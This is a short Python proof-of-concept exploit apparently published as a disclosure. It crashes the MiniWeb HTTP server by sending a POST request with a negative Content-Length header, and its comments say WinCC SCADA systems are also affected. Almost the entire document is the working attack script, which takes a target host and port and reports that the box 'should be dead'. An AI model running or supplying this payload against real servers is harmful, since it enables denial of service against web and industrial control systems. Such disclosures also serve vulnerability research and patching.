MiniWeb Content-Length Denial Of Service

`#!/usr/bin/env python  
# miniweb Content-Length DoS PoC  
# Not a 0day, sadly.  
# aluigi found this ages back, I independantly rediscovered it fuzzing  
# and noticed it was still unpatched. Oh well, better disclose so!  
# vuln version at code.google.com/p/miniweb/  
# affects WinCC also :) (Oh, them SCADA...)  
# Massive props to ohdae for helping with this!  
# insecurety.net | bindshell.it.cx  
import sys  
import socket  
  
def banner():  
print """  
MiniWeb Killer - Kills MiniWeb  
-Insecurety Research  
-Bindshell Labs  
"""  
  
if len(sys.argv) != 3:  
banner()  
print "Usage: ./MiniDoS.py <host> <port>"  
sys.exit(1)  
  
banner()  
target = sys.argv[1]  
port = sys.argv[2]  
  
evil = "POST / HTTP/1.1\r\n"  
evil += "Host: %s\r\n" %(target)  
evil += "User-Agent: MiniWeb Killer ^-^\r\n"  
evil += "Content-Length: -10 \r\n\r\n" # part that kills the box  
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )  
try:  
expl.connect((target, int(port)))  
print "[+] Connected, firing das payload!"  
except:  
print "[-] Connection Failed... Is there even a target?"  
sys.exit(1)  
try:  
expl.send(evil)  
print "[+] Payload Sent!"  
except:  
print "[-] Payload Sending Failure... WTF?"  
sys.exit(1)  
expl.close()  
print "[*] Should be dead..."  
`